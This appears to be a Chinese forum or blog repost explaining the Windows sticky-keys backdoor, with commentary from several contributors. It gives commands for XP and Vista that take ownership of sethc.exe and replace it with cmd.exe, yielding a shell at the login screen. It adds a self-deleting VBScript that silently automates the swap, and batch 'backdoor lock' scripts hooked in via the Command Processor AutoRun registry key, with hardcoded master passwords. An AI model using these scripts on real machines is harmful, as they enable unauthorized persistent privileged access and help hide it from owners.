KiwiCsj注:sethc.exe(粘滞键)对我的(非家用电脑)系统无效,因为我的常规做法是装完系统就把这三项热键中的前两项(粘滞键和筛选键)的热键停用掉了,以防止有时候使用电脑的过程中无意中按出来影响情绪;另外提一点:文末加的密码验证又是一层一捅就破的窗户纸,有兴趣测试的朋友可以试一下在出来要求验证时按Ctrl+C,Y,看一下什么结果。如果可以加上临时屏蔽Ctrl键就好了,验证过程结束时恢复文字色彩、常规标题、恢复ctrl键就更完美了,比如:在最后一行附上:cls&title CMD&color&ver 。Ctrl键屏蔽与恢复的问题还要等待时间深入研究。
来源:安全焦点
后门原理:
转至:小章 blog http://blog.youkuaiyun.com/scz123/archive/2007/03/14/1528695.aspx
在windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。
参考McafeeAvertLabs:
http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/
XP:
将安装源光盘弹出(或将硬盘上的安装目录改名)
cd %widnir%/system32/dllcache
ren sethc.exe *.ex~
cd %widnir%/system32
copy /y cmd.exe sethc.exe
VISTA:
takeown /f c:/windows/system32/sethc.exe
cacls c:/windows/system32/sethc.exe /G administrator:F
然后按XP方法替换文件
在登录界面按5此SHIFT,出来cmd shell,然后……
后门扩展:
转至:7j blog http://1v1.name/show-241-1.html#cm300
再更新一下
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%/system32/sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
第二句最有意思了.嘿嘿..自动应答....以前就遇到过类似的问题
再更新.加个自删除,简化代码...
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe&echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F© %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe© %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe&del %SystemRoot%/system32/sethc.exe&ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
allyesno注:对付文件保护的办法还可以参照我的文章 cut wfp 's jj easily
https://www.xfocus.net/bbs/index.php?act=SE&f=2&t=58099&p=269293
后门锁扩展:
allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证 嘿嘿。。。
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Command Processor]
"AutoRun"="bdlock.bat"
@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist /192.168.8.8/backdoor$/pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If "%passcmdlock%"=="http://blog.youkuaiyun.com/freexploit/" Goto endx
Set passcmdlock=http://blog.youkuaiyun.com/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码?
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if "%password%"=="allyesno is a sb" goto endx
if "%password%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End
Echo 请联系瑞星客服咨询正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo 很好,很和谐!
:endx
[KiwiCsj附测试修改后的CMD启动验证批处理]
文末最后一段真的有点意思,测试并修改后的批处理再添加上,修饰了过程中的文字,添加了结束时的常规样式恢复,同时搞明白了,原来Ctrl+C的避免方法,就是过程中使用pause暂停后面要紧跟exit,如还要继续程序的就不要使用pause暂停,否则就有被Ctrl+C中止跳出的危险,正常使用的过程是:输入两遍显示的随机码回车,然后再输入qie(我下面的过程中的密码)回车即恢复平时的可操作样式,内容如下:

@Echo Off
title KiwiCsj计算机域登录验证&color a&cls
:kcst
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem KiwiCsj计算机域登录验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist /192.168.9.99/kcsj$/bsps goto passcheck
Echo 你真的明白自己在做什么吗?
pause>nul&exit
)
cls&Echo 验证码错误,请重试!
goto kcst
Set password=>nul
Set Errorlevel=>nul
exit
:passcheck
echo 服务器验证成功
If "%passcmdlock%"==" http://kiwicsj.cn" Goto endx
Set passcmdlock=http://kiwicsj.cn
:allyesno
Set Errorlevel=>nul
Echo 请输入登录密码?
Set password=哦,这样也行啊?>nul
Set password=哦,这样也行啊?>nul
Set/p password=
rem 万能密码
if "%password%"=="qie" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End
cls&Echo 请联系域管理员获取正确密码!&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo 很好,很和谐!
:endx
cls&title CMD&color&ver